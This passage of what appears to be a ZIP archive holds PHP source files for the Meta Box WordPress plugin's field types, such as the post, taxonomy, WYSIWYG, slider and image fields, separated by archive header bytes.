		wp_send_json_success( $data );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'post_type'  => 'post',
			'parent'     => false,
			'query_args' => [],
		] );

		$field['post_type'] = (array) $field['post_type'];

		/*
		 * Set default placeholder:
		 * - If multiple post types: show 'Select a post'.
		 * - If single post type: show 'Select a %post_type_name%'.
		 */
		$placeholder = __( 'Select a post', 'meta-box' );
		if ( 1 === count( $field['post_type'] ) ) {
			$post_type        = reset( $field['post_type'] );
			$post_type_object = get_post_type_object( $post_type );
			if ( ! empty( $post_type_object ) ) {
				// Translators: %s is the post singular label.
				$placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $post_type_object->labels->singular_name ) );
			}
		}
		$field = wp_parse_args( $field, [
			'placeholder' => $placeholder,
		] );

		// Set parent option, which will change field name to `parent_id` to save as post parent.
		if ( $field['parent'] ) {
			$field['multiple']   = false;
			$field['field_name'] = 'parent_id';
		}

		$field = parent::normalize( $field );

		// Set default query args.
		$posts_per_page      = $field['ajax'] ? 10 : -1;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'post_type'      => $field['post_type'],
			'post_status'    => 'publish',
			'posts_per_page' => $posts_per_page,
		] );

		parent::set_ajax_params( $field );

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$args = wp_parse_args( $field['query_args'], [
			'no_found_rows'          => true,
			'update_post_meta_cache' => false,
			'update_post_term_cache' => false,
			'mb_field_id'            => $field['id'],
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['posts_per_page'] = count( $meta );
			$args['post__in']       = $meta;
		}

		// Get from cache to prevent same queries.
		$last_changed = wp_cache_get_last_changed( 'posts' );
		$key          = md5( serialize( $args ) );
		$cache_key    = "$key:$last_changed";
		$options      = wp_cache_get( $cache_key, 'meta-box-post-field' );

		if ( false !== $options ) {
			return $options;
		}

		// Only search by title.
		add_filter( 'posts_search', [ __CLASS__, 'search_by_title' ], 10, 2 );
		$query = new WP_Query( $args );
		remove_filter( 'posts_search', [ __CLASS__, 'search_by_title' ] );

		$options = [];
		foreach ( $query->posts as $post ) {
			$label                = $post->post_title ? $post->post_title : __( '(No title)', 'meta-box' );
			$label                = self::filter( 'choice_label', $label, $field, $post );
			$options[ $post->ID ] = [
				'value'  => $post->ID,
				'label'  => $label,
				'parent' => $post->post_parent,
			];
		}

		// Cache the query.
		wp_cache_set( $cache_key, $options, 'meta-box-post-field' );

		return $options;
	}

	/**
	 * Only search posts by title.
	 * WordPress searches by either title or content which is confused when users can't find their posts.
	 *
	 * @link https://developer.wordpress.org/reference/hooks/posts_search/
	 */
	public static function search_by_title( $search, $wp_query ) {
		global $wpdb;
		if ( empty( $search ) ) {
			return $search;
		}
		$q      = $wp_query->query_vars;
		$n      = ! empty( $q['exact'] ) ? '' : '%';
		$search = [];
		foreach ( (array) $q['search_terms'] as $term ) {
			$term     = esc_sql( $wpdb->esc_like( $term ) );
			$search[] = "($wpdb->posts.post_title LIKE '{$n}{$term}{$n}')";
		}
		if ( empty( $search ) ) {
			return $search;
		}
		$search = ' AND (' . implode( ' AND ', $search ) . ') ';
		if ( ! is_user_logged_in() ) {
			$search .= " AND ($wpdb->posts.post_password = '') ";
		}
		return $search;
	}

	/**
	 * Get meta value.
	 * If field is cloneable, value is saved as a single entry in DB.
	 * Otherwise value is saved as multiple entries (for backward compatibility).
	 *
	 * @see "save" method for better understanding
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Is the meta box saved.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		return $field['parent'] ? wp_get_post_parent_id( $post_id ) : parent::meta( $post_id, $saved, $field );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array $field   Field parameters.
	 * @param int   $value   The value.
	 * @param array $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param ?int  $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link = $args['link'] ?? 'view';
		$text = get_the_title( $value );

		if ( false === $link ) {
			return $text;
		}
		$url = get_permalink( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_post_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), wp_kses_post( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return '';
		}

		if ( 1 !== count( $field['post_type'] ) ) {
			return '';
		}

		$post_type = reset( $field['post_type'] );
		if ( ! post_type_exists( $post_type ) ) {
			return '';
		}

		$post_type_object = get_post_type_object( $post_type );

		return sprintf(
			'<a href="#" class="rwmb-post-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( $post_type === 'post' ? 'post-new.php' : 'post-new.php?post_type=' . $post_type ),
			esc_html( $post_type_object->labels->add_new_item )
		);
	}
}
PK     0w\O    0  dashboard/lib/meta-box/inc/fields/file-input.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The file input field which allows users to enter a file URL or select it from the Media Library.
 */
class RWMB_File_Input_Field extends RWMB_Input_Field {
	/**
	 * Enqueue scripts and styles.
	 */
	public static function admin_enqueue_scripts() {
		wp_enqueue_media();
		wp_enqueue_style( 'rwmb-file-input', RWMB_CSS_URL . 'file-input.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-file-input', 'path', RWMB_CSS_DIR . 'file-input.css' );
		wp_enqueue_script( 'rwmb-file-input', RWMB_JS_URL . 'file-input.js', [ 'jquery' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-file-input', 'rwmbFileInput', [
			'frameTitle' => esc_html__( 'Select File', 'meta-box' ),
		] );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::get_attributes( $field, $meta );
		$meta_array = explode( '.', $meta );
		$file_ext   = strtolower( end( $meta_array ) );
		$extensions = [ 'jpeg', 'jpg', 'png', 'gif' ];
		return sprintf(
			'<div class="rwmb-file-input-image %s">
				<img src="%s">
			</div>
			<div class="rwmb-file-input-inner">
				<input %s>
				<a href="#" class="rwmb-file-input-select button">%s</a>
				<a href="#" class="rwmb-file-input-remove button %s">%s</a>
			</div>',
			in_array( $file_ext, $extensions, true ) ? '' : 'rwmb-file-input-hidden',
			$meta,
			self::render_attributes( $attributes ),
			esc_html__( 'Select', 'meta-box' ),
			$meta ? '' : 'hidden',
			esc_html__( 'Remove', 'meta-box' )
		);
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes['type'] = 'text';

		return $attributes;
	}
}
PK     0w\en    -  dashboard/lib/meta-box/inc/fields/heading.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The heading field which displays a simple heading text.
 */
class RWMB_Heading_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-heading', RWMB_CSS_URL . 'heading.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-heading', 'path', RWMB_CSS_DIR . 'heading.css' );
	}

	protected static function begin_html( array $field ) : string {
		$attributes = empty( $field['id'] ) ? '' : " id='{$field['id']}'";
		return sprintf( '<h4%s>%s</h4>', $attributes, $field['name'] );
	}

	protected static function end_html( array $field ) : string {
		return self::input_description( $field );
	}
}
PK     0w\v
	  	  -  dashboard/lib/meta-box/inc/fields/wysiwyg.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The WYSIWYG (editor) field.
 */
class RWMB_Wysiwyg_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_editor();
		wp_enqueue_style( 'rwmb-wysiwyg', RWMB_CSS_URL . 'wysiwyg.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-wysiwyg', 'path', RWMB_CSS_DIR . 'wysiwyg.css' );
		wp_enqueue_script( 'rwmb-wysiwyg', RWMB_JS_URL . 'wysiwyg.js', [ 'jquery', 'rwmb' ], RWMB_VER, true );
	}

	/**
	 * Change field value on save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		return $field['raw'] ? $new : wpautop( $new );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		// Using output buffering because wp_editor() echos directly.
		ob_start();

		$attributes = self::get_attributes( $field );

		$options                  = $field['options'];
		$options['textarea_name'] = $field['field_name'];
		if ( ! empty( $attributes['required'] ) ) {
			$options['editor_class'] .= ' rwmb-wysiwyg-required';
		}

		wp_editor( $meta, $attributes['id'], $options );
		echo '<script class="rwmb-wysiwyg-id" type="text/html" data-id="', esc_attr( $attributes['id'] ), '" data-options="', esc_attr( wp_json_encode( $options ) ), '"></script>';
		echo '<script>if ( typeof rwmb !== "undefined" ) rwmb.$document.trigger( "mb_init_editors" );</script>';

		return ob_get_clean();
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'raw'     => false,
			'options' => [],
		] );

		$field['options'] = wp_parse_args( $field['options'], [
			'editor_class' => 'rwmb-wysiwyg',
			'dfw'          => true, // Use default WordPress full screen UI.
		] );

		// Keep the filter to be compatible with previous versions.
		$field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] );

		return $field;
	}
}
PK     0w\N  N  7  dashboard/lib/meta-box/inc/fields/taxonomy-advanced.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Taxonomy advanced field which saves terms' IDs in the post meta in CSV format.
 */
class RWMB_Taxonomy_Advanced_Field extends RWMB_Taxonomy_Field {
	/**
	 * Save terms in form of comma-separated IDs.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = parent::value( $new, $old, $post_id, $field );

		return implode( ',', $new );
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		$field['multiple'] = false; // Force to save in 1 row in the database.
		RWMB_Field::save( $new, $old, $post_id, $field );
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		$args['single'] = true;
		$meta           = RWMB_Field::raw_meta( $object_id, $field, $args );

		if ( empty( $meta ) ) {
			return $field['multiple'] ? [] : '';
		}

		$meta = $field['clone'] ? array_map( 'wp_parse_id_list', $meta ) : wp_parse_id_list( $meta );
		$meta = array_filter( $meta );

		return $meta;
	}

	/**
	 * Get the field value.
	 * Return list of post term objects.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Additional arguments.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return array List of post term objects.
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = RWMB_Field::get_value( $field, $args, $post_id );
		if ( ! $field['clone'] ) {
			return static::terms_info( $field, $value, $args );
		}

		$return = [];
		foreach ( $value as $subvalue ) {
			$return[] = static::terms_info( $field, $subvalue, $args );
		}
		return $return;
	}

	/**
	 * Get terms information.
	 *
	 * @param array  $field    Field parameters.
	 * @param string $term_ids Term IDs, in CSV format.
	 * @param array  $args     Additional arguments (for image size).
	 *
	 * @return array
	 */
	public static function terms_info( $field, $term_ids, $args ) {
		if ( empty( $term_ids ) ) {
			return [];
		}
		$args = wp_parse_args( [
			'include'    => $term_ids,
			'hide_empty' => false,
		], $args );

		$info = get_terms( $field['taxonomy'], $args );
		$info = is_array( $info ) ? $info : [];
		return $field['multiple'] ? $info : reset( $info );
	}
}
PK     0w\q{yDb	  b	  4  dashboard/lib/meta-box/inc/fields/image-advanced.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The advanced image upload field which uses WordPress media popup to upload and select images.
 */
class RWMB_Image_Advanced_Field extends RWMB_Media_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		RWMB_Image_Field::admin_enqueue_scripts();
		wp_enqueue_script( 'rwmb-image-advanced', RWMB_JS_URL . 'image-advanced.js', [ 'rwmb-media' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['mime_type'] = 'image';
		$field              = wp_parse_args( $field, [
			'image_size' => 'thumbnail',
		] );

		$field = parent::normalize( $field );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'imageSize' => $field['image_size'],
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 *
	 * @param array $field   Field parameters.
	 * @param array $args    Additional arguments.
	 * @param ?int  $post_id Post ID.
	 * @return mixed
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		return RWMB_Image_Field::get_value( $field, $args, $post_id );
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment image ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		return RWMB_Image_Field::file_info( $file, $args, $field );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return RWMB_Image_Field::format_single_value( $field, $value, $args, $post_id );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		require RWMB_INC_DIR . 'templates/image-advanced.php';
	}
}
PK     0w\HZ  Z  2  dashboard/lib/meta-box/inc/fields/button-group.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Button group.
 */
class RWMB_Button_Group_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-button-group', RWMB_CSS_URL . 'button-group.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-button-group', 'path', RWMB_CSS_DIR . 'button-group.css' );
		wp_enqueue_script( 'rwmb-button-group', RWMB_JS_URL . 'button-group.js', [ 'rwmb' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Input_List( $field, $meta );

		$output  = sprintf(
			'<fieldset class="rwmb-button-input-list %s">',
			$field['inline'] ? 'rwmb-inline' : ''
		);
		$output .= $walker->walk( $options, -1 );
		$output .= '</fieldset>';

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'inline' => true,
		] );

		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = RWMB_Input_Field::normalize( $field );

		$field['flatten'] = true;

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = RWMB_Input_Field::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}
}
PK     0w\d)n_#  _#  .  dashboard/lib/meta-box/inc/fields/taxonomy.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The taxonomy field which aims to replace the built-in WordPress taxonomy UI with more options.
 */
class RWMB_Taxonomy_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_terms', [ __CLASS__, 'ajax_get_terms' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_terms', [ __CLASS__, 'ajax_get_terms' ] );
	}

	public static function ajax_get_terms() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$field['query_args']['name__like'] = $request->filter_post( 'term' );

		// Pagination.
		$limit = $field['query_args']['number'] ?? 0;
		$limit = (int) $limit;
		if ( 'query:append' === $request->filter_post( '_type' ) ) {
			$page                          = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
			$field['query_args']['offset'] = $limit * ( $page - 1 );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_terms', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		if ( $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

		wp_send_json_success( $data );
	}

	/**
	 * Add default value for 'taxonomy' field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		// Backwards compatibility with field args.
		if ( isset( $field['options']['args'] ) ) {
			$field['query_args'] = $field['options']['args'];
		}
		if ( isset( $field['options']['taxonomy'] ) ) {
			$field['taxonomy'] = $field['options']['taxonomy'];
		}
		if ( isset( $field['options']['type'] ) ) {
			$field['field_type'] = $field['options']['type'];
		}

		// Set default field args.
		$field = wp_parse_args( $field, [
			'taxonomy'       => 'category',
			'query_args'     => [],
			'remove_default' => false,
		] );

		// Force taxonomy to be an array.
		$field['taxonomy'] = (array) $field['taxonomy'];

		/*
		 * Set default placeholder:
		 * - If multiple taxonomies: show 'Select a term'.
		 * - If single taxonomy: show 'Select a %taxonomy_name%'.
		 */
		$placeholder   = __( 'Select a term', 'meta-box' );
		$taxonomy_name = self::get_taxonomy_singular_name( $field );
		if ( $taxonomy_name ) {
			// Translators: %s is the taxonomy singular label.
			$placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $taxonomy_name ) );
		}
		$field = wp_parse_args( $field, [
			'placeholder' => $placeholder,
		] );

		$field = parent::normalize( $field );

		// Set default query args.
		$limit               = $field['ajax'] ? 10 : 0;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'taxonomy' => $field['taxonomy'],
			'number'   => $limit,
		] );

		parent::set_ajax_params( $field );

		// Prevent cloning for taxonomy field, not for child fields (taxonomy_advanced).
		if ( 'taxonomy' === $field['type'] ) {
			$field['clone'] = false;
		}

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$args = wp_parse_args( $field['query_args'], [
			'hide_empty'             => false,
			'count'                  => false,
			'update_term_meta_cache' => false,
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['include'] = $meta;
			$args['number']  = count( $meta );
		}

		$terms = get_terms( $args );
		if ( ! is_array( $terms ) ) {
			return [];
		}
		$options = [];
		foreach ( $terms as $term ) {
			$label = $term->name ? $term->name : __( '(No title)', 'meta-box' );
			$label = self::filter( 'choice_label', $label, $field, $term );

			$options[ $term->term_id ] = [
				'value'  => $term->term_id,
				'label'  => $label,
				'parent' => $term->parent,
			];
		}
		return $options;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new   = (array) $new;
		$new[] = self::add_term( $field );
		$new   = array_filter( wp_parse_id_list( $new ) );

		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}

		foreach ( $field['taxonomy'] as $taxonomy ) {
			wp_set_object_terms( $post_id, $new, $taxonomy );
		}
	}

	/**
	 * Add new terms if users created some.
	 *
	 * @param array $field Field settings.
	 * @return int|null Term ID if added successfully, null otherwise.
	 */
	protected static function add_term( $field ) {
		$term = rwmb_request()->post( $field['id'] . '_new' );
		if ( ! $field['add_new'] || ! $term || 1 !== count( $field['taxonomy'] ) ) {
			return null;
		}

		$taxonomy = reset( $field['taxonomy'] );
		$term     = wp_insert_term( $term, $taxonomy );
		if ( is_wp_error( $term ) ) {
			return null;
		}
		return $term['term_id'] ?? null;
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		if ( empty( $field['id'] ) ) {
			return '';
		}

		$meta = wp_get_object_terms( $object_id, $field['taxonomy'], [
			'orderby' => 'term_order',
		] );
		$meta = wp_list_pluck( $meta, 'term_id' );

		return $field['multiple'] ? $meta : reset( $meta );
	}

	/**
	 * Get the field value.
	 * Return list of post term objects.
	 *
	 * @param  array $field   Field parameters.
	 * @param  array $args    Additional arguments.
	 * @param  ?int  $post_id Post ID.
	 *
	 * @return array List of post term objects.
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		if ( ! $post_id ) {
			$post_id = get_the_ID();
		}
		$value = wp_get_object_terms( $post_id, $field['taxonomy'], [
			'orderby' => 'term_order',
		] );

		// Get single value if necessary.
		if ( ! $field['clone'] && ! $field['multiple'] ) {
			$value = reset( $value );
		}
		return $value;
	}

	/**
	 * Format a single value for the helper functions.
	 *
	 * @param array   $field   Field parameters.
	 * @param WP_Term $value   The term object.
	 * @param array   $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param ?int    $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link = $args['link'] ?? 'view';
		$text = $value->name;

		if ( false === $link ) {
			return $text;
		}
		$url = get_term_link( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_term_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), esc_html( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return '';
		}

		// Only add new term if field has only one taxonomy.
		if ( 1 !== count( $field['taxonomy'] ) ) {
			return '';
		}

		$taxonomy        = reset( $field['taxonomy'] );
		$taxonomy_object = get_taxonomy( $taxonomy );
		if ( false === $taxonomy_object ) {
			return '';
		}

		return sprintf(
			'<a href="#" class="rwmb-taxonomy-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( 'edit-tags.php?taxonomy=' . $taxonomy_object->name ),
			esc_html( $taxonomy_object->labels->add_new_item )
		);
	}

	public static function admin_enqueue_scripts() {
		$field = func_get_arg( 0 );
		parent::admin_enqueue_scripts( $field );
		static::remove_default_meta_box( $field );
	}

	protected static function remove_default_meta_box( array $field ) {
		if ( empty( $field['remove_default'] ) || ! function_exists( 'remove_meta_box' ) ) {
			return;
		}
		foreach ( $field['taxonomy'] as $taxonomy ) {
			$id = is_taxonomy_hierarchical( $taxonomy ) ? "{$taxonomy}div" : "tagsdiv-{$taxonomy}";
			remove_meta_box( $id, null, 'side' );
		}
	}

	protected static function get_taxonomy_singular_name( array $field ): string {
		if ( 1 !== count( $field['taxonomy'] ) ) {
			return '';
		}
		$taxonomy        = reset( $field['taxonomy'] );
		$taxonomy_object = get_taxonomy( $taxonomy );

		return false === $taxonomy_object ? '' : $taxonomy_object->labels->singular_name;
	}
}
PK     0w\>!	  !	  ,  dashboard/lib/meta-box/inc/fields/slider.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The slider field which users jQueryUI slider widget.
 */
class RWMB_Slider_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		$url = RWMB_CSS_URL . 'jqueryui';
		wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-core', 'path', RWMB_CSS_DIR . 'jqueryui/core.css' );

		wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-theme', 'path', RWMB_CSS_DIR . 'jqueryui/theme.css' );

		wp_register_style( 'jquery-ui-slider', "$url/slider.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-slider', 'path', RWMB_CSS_DIR . 'jqueryui/slider.css' );

		wp_enqueue_style( 'rwmb-slider', RWMB_CSS_URL . 'slider.css', [ 'jquery-ui-slider' ], RWMB_VER );
		wp_style_add_data( 'rwmb-slider', 'path', RWMB_CSS_DIR . 'slider.css' );
		wp_enqueue_script( 'rwmb-slider', RWMB_JS_URL . 'slider.js', [ 'jquery-ui-slider', 'jquery-ui-widget', 'jquery-ui-mouse', 'jquery-ui-core' ], RWMB_VER, true );
	}

	/**
	 * Get div HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::call( 'get_attributes', $field, $meta );
		return sprintf(
			'<div class="rwmb-slider-inner">
				<div class="rwmb-slider-ui" id="%s" data-options="%s"></div>
				<span class="rwmb-slider-label">%s<span>%s</span>%s</span>
				<input type="hidden" value="%s" %s>
			</div>',
			$field['id'],
			esc_attr( wp_json_encode( $field['js_options'] ) ),
			$field['prefix'],
			$meta,
			$field['suffix'],
			$meta,
			self::render_attributes( $attributes )
		);
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field               = wp_parse_args( $field, [
			'prefix'     => '',
			'suffix'     => '',
			'std'        => '',
			'js_options' => [],
		] );
		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'range' => 'min', // range = 'min' will add a dark background to sliding part, better UI.
			'value' => $field['std'],
		] );

		return $field;
	}
}
PK     0w\lg_  _  3  dashboard/lib/meta-box/inc/fields/fieldset-text.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The text fieldset field, which allows users to enter content for a list of text fields.
 */
class RWMB_Fieldset_Text_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-fieldset-text', RWMB_CSS_URL . 'fieldset-text.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-fieldset-text', 'path', RWMB_CSS_DIR . 'fieldset-text.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = [];
		$tpl  = '<p><label>%s</label> %s</p>';

		foreach ( $field['options'] as $key => $label ) {
			$value                       = isset( $meta[ $key ] ) ? $meta[ $key ] : '';
			$field['attributes']['name'] = $field['field_name'] . "[{$key}]";
			$html[]                      = sprintf( $tpl, $label, parent::html( $value, $field ) );
		}

		$out = '<fieldset>' . ( $field['desc'] ? '<legend>' . $field['desc'] . '</legend>' : '' ) . implode( ' ', $html ) . '</fieldset>';

		return $out;
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	protected static function label_description( array $field ) : string {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                       = parent::normalize( $field );
		$field['multiple']           = false;
		$field['attributes']['id']   = false;
		$field['attributes']['type'] = 'text';
		return $field;
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		$output = '<table><thead><tr>';
		foreach ( $field['options'] as $label ) {
			$output .= "<th>$label</th>";
		}
		$output .= '</tr></thead></tbody>';

		if ( ! $field['clone'] ) {
			$output .= self::format_single_value( $field, $value, $args, $post_id );
		} else {
			foreach ( $value as $subvalue ) {
				$output .= self::format_single_value( $field, $subvalue, $args, $post_id );
			}
		}
		$output .= '</tbody></table>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
